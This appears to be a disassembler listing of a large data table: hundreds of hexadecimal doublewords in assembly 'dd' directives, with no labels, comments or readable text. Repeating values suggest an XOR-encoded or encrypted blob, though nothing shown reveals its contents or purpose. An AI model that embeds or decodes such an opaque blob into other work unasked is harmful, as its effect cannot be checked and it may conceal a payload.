		dd 6A437960h, 74F2D786h, 0FB02E987h, 254B41B0h,	900123A0h
		dd 2BA0D9E3h, 51DD823Ch, 5DD3024Bh, 0D12C024Bh,	578B8CBBh
		dd 0B0BED6B3h, 9D3C67Fh, 3C358120h, 0D730FC02h,	522C0218h
		dd 72A677EFh, 8A29553Ch, 90016484h, 891323E3h, 4C002A8Ch
		dd 0AB15BCB6h, 4A6F74Bh, 872C024Bh, 522BF4D1h, 0CF3ABA4Bh
		dd 0ED10B539h, 73BB2E84h, 0D5181118h, 0AB15B4AEh, 0D731024Bh
		dd 522C022Eh, 522A803Ch, 0D3F7024Bh, 0A2D675AEh, 0D631024Bh
		dd 522C022Dh, 522C12D2h, 0DE721A4Bh, 93EF7A15h,	9FF3844Dh
		dd 0B0D0AC90h, 59D2A2E4h, 0C12C024Bh, 0E84A7176h, 3034C254h
		dd 0F7536955h, 0A6A6776Ah, 87295532h, 3628235Bh, 0D307E6B0h
		dd 522BFEF7h, 0D745264Bh, 58A2D871h, 5250813Ch,	0D3F7024Bh
		dd 0AB15B4AEh, 0D731024Bh, 522C01FAh, 51D7763Ch, 0DF31024Bh
		dd 522C023Dh, 522BF9D2h, 443BB44Bh, 6DC9A4Ch, 0CEAC892Bh
		dd 589B0DBEh, 4BA7F74Bh, 7B2C024Bh, 522C0235h, 6010E4B4h
		dd 86A67B19h, 6129554Eh, 522BF5B6h, 52341D4Bh, 324B024Bh
		dd 395AC3F2h, 0CC1E32FFh, 522C024Ah, 61264F4Ah,	522BFABEh
		dd 53B0F74Bh, 0F22C024Bh, 5FA6E76Ah, 61294D11h,	522BBAB6h
		dd 0D5312A4Bh, 522C024Ah, 6AA677E6h, 61295513h,	522BF6BFh
		dd 52291D4Bh, 0E2EC024Bh, 0F1B8EE4Ch, 52BECDE5h, 532C024Bh
		dd 0DE30C5DCh, 522C0242h, 522C0ED2h, 9310164Bh,	1B44126Ah
		dd 0E83B90E5h, 0A30154EBh, 0B8FDA9E7h, 63A6E75Eh, 61294D11h
		dd 522BC5B6h, 52AAF74Bh, 8E2C024Bh, 559E7DB7h, 0F84BFBDAh
		dd 314E1ACAh, 522BF4D2h, 601DD94Bh, 0D88F090Ch,	5F46F666h
		dd 0F2E1A0C1h, 90016586h, 811323E3h, 2D2A28Dh, 0E82C024Bh
		dd 48E5F96Ch, 0F98AF12h, 0E5E25404h, 9EC782C8h,	2D2A269h
		dd 0F12C024Bh, 0D3739D15h, 0EFBE9D6Fh, 0F4BF5A53h, 0D744A1A0h
		dd 58A2D845h, 523C813Ch, 5CD3024Bh, 8A2C024Bh, 4EA42C83h
		dd 0DBCB03CAh, 0A33D1DB6h, 52351D4Bh, 1D45024Bh, 0B1E4923Bh
		dd 0C3D50846h, 1AF87F13h, 903B2EFAh, 0D7312EF9h, 522C024Ah
		dd 6BA6E7E6h, 61294D11h, 522BABB6h, 0D6B5314Bh,	589AFB92h
		dd 522BF3D2h, 15E27B4Bh, 7186D454h, 912840ABh, 27A0C156h
		dd 58536586h, 0A5F8FDEDh, 0C362DC9h, 0A5F8D7CEh, 0D3674DBBh
		dd 0F57FA0E6h, 2DD0DD1Dh, 522C0ED2h, 0C2ABE64Bh, 0D0D00405h
		dd 0FD414BBDh, 230E1E5Bh, 368F22D0h, 614BA2E0h,	522C02BFh
		dd 52321A4Bh, 36FA024Bh, 45E01F20h, 0F9A9A039h,	62C44C2Bh
		dd 0D630A181h, 522C0248h, 0F1E96F3Ch, 3BE18120h, 0D730FC02h
		dd 522C0258h, 52357E3Ch, 614C024Bh, 522C02BDh, 0F34AA24Bh
		dd 46427DB0h, 2703FBDAh, 522DEAA1h, 7EEAC042h, 64FD8535h
		dd 532C3A4Bh, 0F84BC904h, 7ADF69ADh, 522C021Ah,	0C4CB220Bh
		dd 3126893Ah, 8C2AC2AEh, 8897B1F1h, 52331969h, 6268024Bh
		dd 0E2BC420Fh, 4CA3F859h, 0AB15E0B6h, 3EA6F74Bh, 872C024Bh
		dd 37327DB7h, 614BFBDAh, 522C00CAh, 0F820D54Bh,	294B3BB0h
		dd 9107D6CAh, 300123E3h, 522BF7D2h, 3B8C774Bh, 3DF61AF8h
		dd 8A2992B6h, 0D6312737h, 522C023Ch, 0A3AA9C6Bh, 0DBB8B890h
		dd 7E82196Ah, 4BF723E3h
		dd 0A2DEC5B6h, 4AA6F74Bh, 0F22C024Bh, 0F1CA78EFh, 2A9C7DBEh
		dd 0D530FC03h, 522C021Bh, 522BF7D2h, 0BD4D194Bh, 1ED8A02Eh
		dd 79AA210Eh, 8FCFB7D1h, 60D2A2E3h, 0ED2C024Bh,	1E77ADECh
		dd 8DBA7C6Eh, 0F325C4D6h, 3AF68120h, 0D730FBDAh, 522C0259h
		dd 522A793Ch, 6003024Bh, 522BFBCAh, 52ABF74Bh, 8B2C024Bh
		dd 3B5265CFh, 612AFC02h, 522BF1B6h, 0D6AF2A4Bh,	5222F754h
		dd 5235853Ch, 294C024Bh, 51AAF38Dh, 0F32C024Bh,	8FD513D2h
		dd 51DC19E3h, 8B6F024Bh, 689F6A2Dh, 16C17BAh, 0CA0C5832h
		dd 0D744E010h, 58A2D96Dh, 520A7E3Ch, 4C03024Bh,	0AB1280B6h
		dd 37A6F74Bh, 612C024Bh, 522BF4BEh, 83AAA24Bh, 6EBAF256h
		dd 522B7F3Ch, 7B4B024Bh, 90011792h, 52287D33h, 0F84C024Bh
		dd 0F34C37B0h, 0CD1CD16Ah, 61E9CD3Dh, 0D32E180Ah, 0A5633F0h
		dd 41EC8154h, 0DB637C4Ah, 9FB2C802h, 5DA8F381h,	612C024Bh
		dd 522BFCCAh, 51ABF74Bh, 7B2C024Bh, 522C024Bh, 4B92C175h
		dd 0D3FE32C0h, 0D73101EDh, 522C02ADh, 3A6E7E3h,	61294D12h
		dd 522BE5B6h, 51DC1D4Bh, 0B4F3024Bh, 6FD13378h,	5A63513Ch
		dd 0A44A9125h, 0D6AF3652h, 52237BF7h, 39D32AEFh, 600123D0h
		dd 522C0DCBh, 51DC1D4Bh, 232A024Bh, 6385F4F4h, 5B23F7F1h
		dd 0DDD616Eh, 0D744F04Ch, 58A2D965h, 5209813Ch,	874C024Bh
		dd 52267F33h, 0D34A024Bh, 0F2B3FCFCh, 0DA457DBEh, 7A000283h
		dd 900118D2h, 52297433h, 8E4C024Bh, 0F1EA6F33h,	3B858120h
		dd 0D730FC02h, 522C0225h, 51D8196Bh, 50BC024Bh,	0EC6D50B1h
		dd 1AAA3DA3h, 8280757h,	0ED544B5Ah, 0F2043C3Dh,	0DA807DBEh
		dd 0D24C0283h, 7B4B0AE9h, 90011896h, 522BFDD1h,	6D5B1B4Bh
		dd 25544A78h, 0DB2C0267h, 7B23DE37h, 522C0232h,	0A239EA3h
		dd 0A1CED683h, 522F3752h, 360F7D4Bh, 0B134BE53h, 86AAC94Eh
		dd 70A0F774h, 0F21F14B2h, 0EDED6355h, 0F3C19C6Bh, 51B1F3B0h
		dd 0F32C024Bh, 5FF9F76Ah, 522BE1B6h, 52ABF74Bh,	8B2C024Bh
		dd 8FD604D1h, 51DC19E3h, 0B29A024Bh, 8BA8B625h,	2C136243h
		dd 0A39ADDh, 0DB1D745Ah, 55AAD109h, 3934D317h, 7FAAC475h
		dd 1808F75Fh, 224C2A81h, 56FA8283h, 22B6796Ah, 0F229554Fh
		dd 51B5F36Bh, 7B2C024Bh, 522C021Fh, 6E9BE39h, 0F5D201DFh
		dd 475B25B4h, 9FB107BEh, 0F35172E2h, 9EB6796Ah,	61295529h
		dd 522BFBB0h, 52B2F74Bh, 8E2C024Bh, 5FD2E4CAh, 522AD9B6h
		dd 5CD3A24Bh, 812C024Bh, 0EF65CD0Fh, 229BD3EBh,	0F84BCA8Dh
		dd 6C7351CAh, 522BF5D2h, 1AB61E4Bh, 6F45B1Bh, 2DE4299Dh
		dd 0F34B504Ch, 0D32AACECh, 0C36DE27h, 2220B081h, 7D547AA3h
		dd 260EC26Ah, 41D192BAh, 0DD4BCAF4h, 64D2CBE0h,	0F82C024Bh
		dd 82F13627h, 0BFCE662Ah, 4B335678h, 2FDE1A5Ch,	51DB196Ah
		dd 14A8024Bh, 0D8CB5917h, 707958B5h, 67721F5Fh,	0D3433A43h
		dd 0CF79D9F4h, 3E8852Eh, 530B2636h, 3D081E4h, 0D30B2636h
		dd 0CF79D9DCh, 7DAB262Eh, 522C0236h, 2D07EEB2h,	5228853Ch
		dd 0DD4C024Bh, 549B82E4h, 70C0CB6Ah, 0D3131062h, 644303E4h
		dd 0FD48512h, 533AC35Ah, 0FEC81E0h, 313AC35Ah, 522BF4D2h
		dd 0C88B2D4Bh, 34C74C74h, 0C117F31Eh, 4CDC6B26h, 0A2DFD1AEh
		dd 12ADF74Bh, 612C024Bh, 522BF3B4h, 5CD2A24Bh, 5D2C024Bh
		dd 0F711DB58h, 0F359C0F4h, 0D8312B20h, 522C0211h, 51E1743Ch
		dd 0DC31024Bh, 522C0243h, 522C0FD2h, 13B2914Bh,	0B9D1C5A3h
		dd 8DF111E2h, 3C7A7BD1h, 0CE7E2CD2h, 8FD380D2h,	0CEB52AE3h
		dd 589B0AF2h, 2A73BE2h,	52295517h, 0F22C024Bh, 51B1F35Ah
		dd 2B2C024Bh, 0F1F3673Ch, 522BFCD2h, 0CB45CF4Bh, 0F27BDF90h
		dd 9EB679E3h, 61295529h, 522C01B5h, 0EEAF314Bh,	58A35596h
		dd 7A9D23E3h, 522C023Dh, 6941E3B7h, 0F40D2922h,	70E5A53Eh
		dd 5FEBF7CBh, 522BC9B7h, 0DD49A24Bh, 56A8F3B9h,	0F82C024Bh
		dd 0B81844CAh, 57D3A26Ah, 662C024Bh, 3A94F386h,	64D31428h
		dd 0C22C024Bh, 73BD1D60h, 0A54BE8BEh, 137B56E7h, 310C47A9h
		dd 0BED2A1E3h, 612C024Bh, 522C09CBh, 51D81D4Bh,	61B2024Bh
		dd 0A582A895h, 6C70EC28h, 10F7AE6Eh, 3C64FE5Dh,	0EEAE6B60h
		dd 5897678Ch, 522C12D2h, 0E9DF9B4Bh, 64C07180h,	0CA890569h
		dd 5423A44Dh, 609D2371h, 9000CEC8h, 0C6B52AE3h,	589AE1FEh
		dd 2B679EFh, 0F2295517h, 7B18A379h, 522C023Ch, 926285CEh
		dd 0DBF90C43h, 0E201D7F7h, 0F325417Bh, 0AF6C85BEh, 0D630FBDBh
		dd 522C0241h, 0A1AA9C6Bh, 2D35818h, 0EC2C024Bh,	0CDACFE45h
		dd 0AB5FA1E4h, 0D587DB20h, 614BA540h, 914B2CA4h, 523119DFh
		dd 704E024Bh, 9A535C1Ah, 165B58DAh, 0A5A1C7CCh,	22A67768h
		dd 8A29554Fh, 31EE7DB1h, 0D830FBDAh, 522C023Dh,	522BF9D2h
		dd 9B47FF4Bh, 6EB4E477h, 7B4B2145h, 522C0219h, 0C49A2551h
		dd 79924F96h, 2DFF0757h, 0F8288C8Ah, 7A418293h,	54A08133h
		dd 5AD3024Bh, 0C22C024Bh, 0AE62395Ah, 0D149A29Bh, 0B0B4AD32h
		dd 0ABE7F69h, 52295543h, 51C07E3Ch, 2703024Bh, 0A1B41979h
		dd 0D3080EB7h, 522BFEF7h, 6096264Bh, 522C03B1h,	0D349A24Bh
		dd 7CD07EEBh, 522C0218h, 272C97F9h, 0D152DB57h,	8EF05540h
		dd 8C69B5E4h, 0F324F7F2h, 51E41553h, 36377D4Bh,	6907EECAh
		dd 2A178B12h, 0ED130F26h, 52B5F387h, 8B2C024Bh,	6E6D0C1Dh
		dd 2C34FD67h, 8A12981Eh, 3F25FB1Dh, 14D9FD51h, 61D2AE4Fh
		dd 0A52C024Bh, 338D84BBh, 0FF16801Ch, 7628EE9Ch, 0CB013CA7h
		dd 51D78153h, 36377D4Bh, 522BFEADh, 12FBDD4Bh, 522A196Bh
		dd 0F5BE024Bh, 9ACA2F1h, 522C11D2h, 5DE99D4Bh, 3F6853EEh
		dd 9390F77Ch, 8C7C7EAEh, 0BD4B123Fh, 522A7E3Ch,	7A03024Bh
		dd 522C01B9h, 0D55E75E3h, 7B2949C7h, 522C024Bh,	8D6D5D33h
		dd 9113F3AEh, 523319DFh, 876E024Bh, 6F73F110h, 0DF4119F6h
		dd 0AA92C3CEh, 52B4F74Bh, 872C024Bh, 60004FE3h,	522C0CC8h
		dd 2B1AA24Bh, 522BF5D2h, 0E80E34Bh, 0AB2A5F70h,	0F9B056Eh
		dd 5D4B0A12h, 67A6F40Bh, 612C024Bh, 522C01B7h, 4BD3264Bh
		dd 0F22C024Bh, 9DA18155h, 0B0C0F3D8h, 9EA67F69h, 57295529h
		dd 2CFFD26Bh, 0F1F37755h, 522A833Ch, 7A03024Bh,	90012499h
		dd 51DB7933h, 5BD3024Bh, 0B82C024Bh, 7A908ADBh,	5DCD4549h
		dd 0EEAEF4A3h, 58A35774h, 0F19D23E3h, 522A763Ch, 7A03024Bh
		dd 522C024Bh, 67C313C2h, 0F351B7C2h, 1DB5646Bh,	0A4AAFAA5h
		dd 18D348D9h, 5FEBF76Ah, 522C04B6h, 51DD1D4Bh, 0CC8D024Bh
		dd 0B779A224h, 50508363h, 0A4849B74h, 516B8790h, 520E19C1h
		dd 25F7024Bh, 522BFEAEh, 0DBD6054Bh, 95ACDE1Fh,	7A032D36h
		dd 522C02DDh, 522BFBD2h, 8E0D4F4Bh, 0A4A3A6ECh,	0CD2085BDh
		dd 0F84BFC05h, 0F24A8DA0h, 2C1928B1h, 0A400A16Ah, 51E58333h
		dd 0C74C024Bh, 0DD4B29FCh, 0A30B35A6h, 0CC49A24Bh, 0C930EDC8h
		dd 96D2A208h, 8B2C021Eh, 31EE75B7h, 0C9609161h,	5E98E2E7h
		dd 0F86102C3h, 2021CBBDh, 3081BB10h, 70639038h,	0CF36C829h
		dd 9DDF3FFDh, 0BF04B051h, 0EF50C091h, 29D89Ch, 0FA6636D7h
		dd 2F8B307Fh, 7E6036F2h, 7100968Eh, 90386810h, 0AF9601DEh
		dd 874FF1h, 87E080h, 71008F6Ah,	403ADD10h, 74015437h, 0C9301D4Bh
		dd 0A2A38587h, 6818200Dh, 0AAC6981Dh, 1F81C929h, 999C2B29h
		dd 7100A769h, 0B1BB1010h, 0A2C725ECh, 0E5671CD0h, 91F479FAh
		dd 0D6D3CAE5h
		dd 0FB31367Dh, 7EE85880h, 73009710h, 0FBA13527h, 3862120Ch
		dd 9123488Ah, 186159F1h, 0FDFBC2Ah, 8F7D0B7Eh, 1807E157h
		dd 71009721h, 0DCF13195h, 0B84EC984h, 3B84C3B4h, 6CAFAB11h
		dd 0A7D5E577h, 1249291h, 0A922B2EAh, 4C4FF9DFh,	3E813A73h
		dd 9212A45Dh, 91FBC191h, 168164FCh, 5635354Ah, 5710D191h
		dd 929BB57h, 768689D8h,	7E009710h, 7100978Dh, 0F42BC410h
		dd 76B19E49h, 7100A669h, 12C1EB10h, 0BCAC6234h,	3F5CE9Ch
		dd 0D370549h, 90850F63h, 1807E81Fh, 71009709h, 59BF05C0h
		dd 3F141EE7h, 6AC9138Ch, 63E99161h, 4009710h, 32BA7CA7h
		dd 0D02351Fh, 70E3FB28h, 0BD4AF070h, 66E9817Bh,	0BB009710h
		dd 2D388E5Bh, 0CB8E100Ah, 30DAB2E8h, 0EC2FFD2Fh, 99857626h
		dd 71005D15h, 91247A89h, 3DBA17EEh, 7106AFA1h, 11479710h
		dd 0A1861D2Ah, 168961F1h, 7104D192h, 1E819710h,	7100970Dh
		dd 0AD247A8Fh, 91249289h, 71010D07h, 19DC9710h,	7100971Dh
		dd 0DF62CC96h, 0BF596E9h, 0B6C9318Eh, 1F72BA9Fh, 0C15BFC01h
		dd 0FC8DBEF1h, 76B7B764h, 8B1B974h, 6651138Ch, 97609161h
		dd 13A3C791h, 75E93775h, 2C009710h, 4F17BFB0h, 7146BCE8h
		dd 55041010h, 71009369h, 44EA2510h, 0E96867F1h,	0F80096FCh
		dd 61E97334h, 0AE009710h, 468BCEFAh, 0D64ED440h, 8E2BE560h
		dd 430F30BCh, 6AC9138Bh, 0FD0F9161h, 71009704h,	71061807h
		dd 0F40F9710h, 71009710h, 0B1D617F0h, 0A33694AEh, 0AAD20207h
		dd 168961F1h, 7104D192h, 1E819710h, 7100970Dh, 0AD247A8Fh
		dd 9249289h, 12180B86h,	18609160h, 7100971Dh, 216BF979h
		dd 4CCEB760h, 7EAB33FAh, 6E432BB1h, 0B89FF203h,	90B70DEEh
		dd 9ADCE777h, 71004312h, 0F8247A89h, 0AFDA0F4Fh, 7100A269h
		dd 8CF12210h, 0B2AE5AF9h, 0C02AAF5Eh, 48A279D8h, 8E3AA662h
		dd 36896225h, 43F5FE0h,	66510C2Ch, 0FD0F9161h, 7100970Ah
		dd 71009369h, 370A2F10h, 0CC8336E9h, 76B1A341h,	0EC848A10h
		dd 9009710h, 4015138Ch,	0FC0F9161h, 71009708h, 718D89F0h
		dd 90009710h, 6511142Bh, 19D99161h, 7100970Ch, 2711E5FEh
		dd 0BE4E7B98h, 4A05EFB2h, 98868951h, 7E009710h,	7100A393h
		dd 71F0B010h, 0F749710h, 1809BA4Dh, 110EEC2Ch, 591673FFh
		dd 0F48BB399h, 76B19FFDh, 710F1807h, 7CE99710h,	0BA009710h
		dd 1BDBC69Ah, 0FBA89A03h, 408595DDh, 1807E81Ch,	7100970Eh
		dd 0DBBF33FEh, 0B4850FD9h, 9107E81Eh, 0FCC90207h, 90E9374Ah
		dd 91009711h, 71051107h, 0F0669710h, 98E7A14Ah,	908F3FB7h
		dd 0F1E30FE3h, 71009253h, 76EB1810h, 0F6009710h, 0F83C7314h
		dd 0A1DC7304h, 0F024928Bh, 7100924Ch, 0BE77BB10h, 0AE3861E0h
		dd 0E996778h, 78009708h, 550C0D48h, 9104D293h, 0E235AE91h
		dd 0FC0F9986h, 71009712h, 46163C1h, 7101FBDEh, 19019710h
		dd 0F20FBED6h, 71009711h, 44850F74h, 7E07E841h,	71008E86h
		dd 73878A10h, 91009710h, 6C8597F1h, 407E843h, 65111350h
		dd 71009161h, 0D609710h, 916173C1h, 71020D07h, 3C919710h
		dd 71008869h, 362C0D10h, 79FCBD74h, 0AAFBBF53h,	0F1BBFE2Ah
		dd 5051DB53h, 9B615EE0h, 710EAFD0h, 978B9710h, 0BE82E01Ch
		dd 4050253Eh, 67CDA0FDh, 71F096E8h, 79818A10h, 91009710h
		dd 71000B07h, 7E619710h, 7100978Bh, 0F832BB10h,	76C21772h
		dd 0F0009710h, 7100926Ah, 55F41210h, 550C0FD4h,	716A37F0h
		dd 71F60A07h, 18609710h, 71009706h, 0B481B59Dh,	4451FFE3h
		dd 7B465C30h, 906136FCh, 64952377h, 97609161h, 181DB9B7h
		dd 7100970Ch, 0DF64E07Ch, 72397F7Bh, 9055B462h,	61F52377h
		dd 0F50F9161h, 71009711h, 84850F74h, 407E819h, 6745138Ah
		dd 79E99161h, 79009710h, 0DE8D17DBh, 8E528DDCh,	0A1248A8Bh
		dd 7505B689h, 74009710h, 7100970Ch, 0AD24928Fh,	378130F0h
		dd 248AE061h, 0B495B9F2h, 907E81Eh, 728989F1h, 7E009710h
		dd 308ACFBFh, 8095B9F2h, 1807E81Fh, 7100971Dh, 1A4DEBD8h
		dd 0D3299F15h, 0DD48E883h, 0A1BA83C4h, 91A15F43h, 75E00FE0h
		dd 7100970Ch, 71009325h, 55041210h, 551C0FD4h, 71008A69h
		dd 27521710h, 805A291Bh, 16AB1BAFh, 3895B985h, 9107E819h
		dd 71051007h, 0F0669710h, 9040E659h, 0C2C1385h,	0A6609160h
		dd 0AEB60DEEh, 0E6166C3h, 710BAF61h, 782D9710h,	0B7CAF378h
		dd 0C26152C3h, 408D97B6h, 7E07E81Ch, 7100978Ah,	0CC8BC410h
		dd 76B1A0CDh, 80950D78h, 7E07E81Fh, 71009787h, 0D6D3BF10h
		dd 34950D79h, 9107E82Eh, 7E93DC90h, 7100948Fh, 90613710h
		dd 7E8489A5h, 18009710h, 7100970Bh, 0FC9DBC55h,	20608F23h
		dd 0C831C14Ch, 905B4083h, 6E917D1h, 0F8613DFFh,	7D8BBAC6h
		dd 76C4162Ch, 0C966C3F0h, 9161FB0Fh, 71021707h,	0B8B9710h
		dd 71F90F08h, 66E99710h, 54009710h, 766FD89Dh, 0EA40E179h
		dd 2F0E55AEh, 0C98C2EA3h, 91E49AFFh, 1805D651h,	7100970Eh
		dd 5D33B478h, 0C93065D6h, 85205C48h, 68F7F0BBh,	0AAC39775h
		dd 183BDF11h, 71009721h, 4B2BA649h, 0C1835F3Dh,	42030E93h
		dd 26270462h, 5C511414h, 18609161h, 7100970Fh, 65C0A96Ah
		dd 0FD0F3A3Ah, 7100970Eh, 71000D07h, 0FA619710h, 20F65385h
		dd 328B3710h, 91DEFA08h, 0A3CB0FE3h, 7E3B9687h,	71008A91h
		dd 778D8A10h, 7E009710h, 71009692h, 7BE9EC10h, 0E4009710h
		dd 3D68E4F1h, 0B504E7B4h, 1D833BF0h, 550C100Dh,	710096B9h
		dd 0D4E1010h, 708789DAh, 8009710h, 55C5038Ah, 0F0609161h
		dd 0B34D2762h, 9311FD16h, 0F261419Ch, 0F40FB978h, 710096A8h
		dd 71071307h, 0F40F9710h, 71009711h, 7D878978h,	7E009710h
		dd 71009088h, 71828A10h, 0F0009710h, 2DBDDC36h,	8C858956h
		dd 91009710h, 0CC35377Dh, 0BE9E5D72h, 0ABE2904Fh, 0CA3349B6h
		dd 71009710h, 5A11C611h, 0F0605BDBh, 0C7395872h, 7108B001h
		dd 76B99710h, 5AAD0143h, 0A26162D1h, 710092BBh,	0FBBE9810h
		dd 35817314h, 7100970Dh, 34950F78h, 9107E82Eh, 7100A468h
		dd 39A9CA10h, 1D3055A1h, 0D2B32E58h, 0DA7AEA86h, 0ABDF720Ah
		dd 24E7AFF1h, 61E9B978h, 0AB009710h, 91E7D083h,	6A5B9864h
		dd 3B63E065h, 11FF7CBEh, 0D03D652h, 5C511414h, 7EE99161h
		dd 9A009710h, 5B189D88h, 2ED5F27Ah, 0F209053Dh,	2012C3B5h
		dd 0F50F9810h, 7100959Ch, 71008869h, 4A86D210h,	70B4BD5Bh
		dd 0B8BC9A0Eh, 188E40ABh, 71009710h, 0CAEF2527h, 0F07644D0h
		dd 0DBAAED36h, 0D98589AAh, 8009710h, 7100896Ah,	0B5369410h
		dd 20846C5Ah, 8F37A3F0h, 0BA4EB7DFh, 39866E3h, 6652329h
		dd 88D08361h, 562DA38Bh, 30223C04h, 0D2D9171h, 0F891CC6Bh
		dd 2F015E53h, 0CE6036DCh, 0A4B097FBh, 0FA61E78Bh, 0A7303751h
		dd 3B1F5CE8h, 18C158E2h, 5CC61814h, 0F06D95CDh,	0DCC0904Eh
		dd 0B0D0100Ch, 0AADC5089h, 71010C07h, 41D99710h, 41C78778h
		dd 0A4D8C378h, 3380D2C2h, 0FAB00F2Eh, 3581731Ch, 7100970Dh
		dd 710A1307h, 75E99710h, 6C009710h, 0A6345DC5h,	71006A69h
		dd 710DB010h, 42EA9710h, 737D9A56h, 270ADE95h, 0A2E2ACB3h
		dd 711908E8h, 551C1010h, 0A1D959D8h, 18803FC1h,	3B8864A2h
		dd 0A83AE689h, 1789607Dh, 7104D092h, 1F819710h,	7100970Dh
		dd 0AD24828Fh, 8249289h, 0FC9D157Ah, 7007E81Dh,	70631307h
		dd 0FB0F9710h, 7100970Fh
		dd 3302FFF0h, 0F2614FEDh, 4D899264h, 9062FA2Ch,	0EF989C9Ch
		dd 71E52D97h, 61E95978h, 80009710h, 0AE1C2B01h,	6B6DC8EAh
		dd 0E3F3AA23h, 249B2FCBh, 588AFB94h, 7E009159h,	71007F8Ch
		dd 71F2B010h, 55BB9710h, 29348919h, 317B6CBCh, 4BFA3D12h
		dd 0AAD58E66h, 63191B85h, 80E99158h, 0CE009710h, 41ED0A8Bh
		dd 851E4D28h, 8B6D6937h, 91B3B976h, 0FA66C98Bh,	4E803758h
		dd 0B58489A0h, 7E009710h, 71008E8Ch, 738B8A10h,	91009710h
		dd 749E60F1h, 70009710h, 55140D7Fh, 1804D293h, 7100971Dh
		dd 0A96BF1D7h, 0B3779CE9h, 4689664Eh, 7712D7C6h, 0AA72558Ah
		dd 7101D569h, 7105B010h, 36469710h, 0F2469FE6h,	0F30F6678h
		dd 710096A1h, 0C431657Dh, 5AE505C1h, 35905F6Bh,	913BDF29h
		dd 710D1307h, 77E89710h, 0E9009710h, 1F458CA1h,	973ECB32h
		dd 0DB61D18Bh, 628089F0h, 18009710h, 71009707h,	8465D2A5h
		dd 8EB22872h, 3FBBDA1Dh, 18801DB0h, 758B37A5h, 1689622Ch
		dd 7104D192h, 36839710h, 551C120Dh, 708089D4h, 4009710h
		dd 2F8B36ABh, 71008B69h, 545ABD10h, 0C36FF592h,	0E3552372h
		dd 23815D45h, 0ADB80BFBh, 0C3E937D7h, 18009710h, 7100970Ah
		dd 8429535Fh, 6E3FFD76h, 5514B99Eh, 76C417D8h, 4009710h
		dd 8E80C3ABh, 0F40FAF77h, 71009686h, 710A1607h,	0A3609710h
		dd 718E89DAh, 90009710h, 588AFB93h, 7E009159h, 71004E8Ch
		dd 688C8A10h, 18009710h, 7100971Dh, 19580EE2h, 53BF2B8Eh
		dd 0C20E790Ch, 0E37EB1D5h, 3732A428h, 62EF1B86h, 0FD59158h
		dd 0C0993664h, 18497400h, 7100971Dh, 8D0D5A1Dh,	97D50801h
		dd 0E64EC39h, 0D637A28Dh, 0D0FE663h, 5E9B65F2h,	0BA5E13F4h
		dd 0F2B6D591h, 0A0117FAh, 7E3B9589h, 7100A78Ah,	710CB010h
		dd 0B9739710h, 5DD7BF1Bh, 190C3500h, 0F48BD0CAh, 76B1A0CDh
		dd 71008969h, 0EE2E1810h, 0F1D18C8Dh, 781CC0CBh, 157E3829h
		dd 0C311CC26h, 0A7D87033h, 0C23A26B7h, 168151ECh, 8A4A73E1h
		dd 67FAC191h, 1E814CFFh, 53335899h, 0AFEAC991h,	3681337Ah
		dd 0C4968764h, 913FBF11h, 0F50FDA8Ah, 7100970Eh, 71001607h
		dd 0D619710h, 7104F8DFh, 1299710h, 0F024828Ch, 7100924Ch
		dd 98D53710h, 905077B6h, 708589ABh, 4009710h, 768F89A6h
		dd 7E009710h, 7100978Bh, 9160C410h, 71008F69h, 647C910h
		dd 82FA4B93h, 0FA0FB840h, 71009710h, 738989F1h,	0A1009710h
		dd 0CB3237D6h, 0BE5D60D6h, 0B0DC504Fh, 584F3BDEh, 658BBADEh
		dd 76C4162Ch, 71008C69h, 7B96C110h, 0BE3118CCh,	181A1407h
		dd 71009706h, 0DE8D17DBh, 8E528DDCh, 0E951D37Dh, 0AF6AF9Eh
		dd 0FB0FB978h, 71009711h, 34950F78h, 407E82Eh, 735F2E7Ah
		dd 65899710h, 7EE9372Ch, 0EF009710h, 35B51D2h, 46032B37h
		dd 185CEA98h, 7100970Eh, 2AC5546Ch, 0FF0F37B3h,	71009704h
		dd 71060907h, 0F90F9710h, 71009710h, 718096E8h,	798A8A10h
		dd 7E009710h, 7100948Eh, 18613710h, 71009710h, 3EF0EC25h
		dd 9B820393h, 71F4B010h, 353C9710h, 0B7DF9BABh,	0A75EC2A6h
		dd 0D43A4127h, 213BCFDCh, 0C5DF2CF0h, 76B1A5A5h, 71008D69h
		dd 7FCD9910h, 50FE0523h, 82E42914h, 43392377h, 7FE99161h
		dd 0AB009710h, 0A113AFF1h, 67966CF4h, 1CAC4148h, 46DFBAE2h
		dd 35835D2Ch, 76808A0Dh, 91009710h, 92CF0207h, 0FC8B37F1h
		dd 76B19349h, 710CAEF0h, 0BB1B9710h, 0BCCBA8C7h, 5BB5BF7h
		dd 2D9B5C4Ah, 0A9698C49h, 0A161C58Bh, 0DA436DB8h, 419F61E6h
		dd 300FA510h, 1E819268h, 0E345DA59h, 583F7F89h,	18605F11h
		dd 71009710h, 21E019B3h, 1913F0CCh, 7100971Dh, 27219EACh
		dd 2ABA7508h, 84056562h, 4E7DE592h, 675A6421h, 903A5CDFh
		dd 7104F8DEh, 19710h, 0F024828Ch, 7100924Ch, 98D93710h
		dd 908C3FB9h, 71009169h, 88842510h, 5446C8FDh, 75C90B89h
		dd 63E99161h, 2A009710h, 212AA8E5h, 30881755h, 66852CADh
		dd 0CDC4D40Eh, 7EE9C7EFh, 92DFB94Dh, 71060F07h,	0F00F9710h
		dd 71009710h, 186157BFh, 71006F97h, 7100A769h, 5D063B10h
		dd 0E0814213h, 0EFC1FEE1h, 54323D09h, 860D42Ah,	75C90B8Ch
		dd 0FD89161h, 550C0E42h, 7E04D293h, 7100898Ah, 710AB010h
		dd 0ADAF9710h, 56E7258Ch, 56291161h, 58860B89h,	0F20F9159h
		dd 71009711h, 4981C378h, 0BD4462C6h, 71911407h,	97609710h
		dd 494EAB7h, 898130F2h,	7E2E4B0Ch, 7100188Dh, 6F888A10h
		dd 91009710h, 66E8D18Ah, 47009710h, 0CE05FB52h,	0E6D2900Fh
		dd 7DF7DD4Fh, 9C5BBF07h, 0AA2341CDh, 758166F1h,	163DAF2Ch
		dd 0CB3258DBh, 509E2D67h, 1CC1E47Fh, 74EAD80Dh,	0AA98C491h
		dd 27295F96h, 710BAFDBh, 0F5499710h, 0B139F326h, 915AD205h
		dd 0C930BF23h, 7100970Eh, 7736D091h, 37019AA9h,	7736A892h
		dd 9389AA9h, 60F1138Ch,	97609161h, 80E8B88Bh, 16009710h
		dd 0A49C703Bh, 17E292CFh, 84BB5256h, 9038BFA7h,	71041969h
		dd 97603710h, 7FDC79B6h, 7100968Ah, 0A6613810h,	0F9C30FE3h
		dd 0F895D57h, 71F0AFD8h, 66219710h, 4AB05A12h, 0FCB212B5h
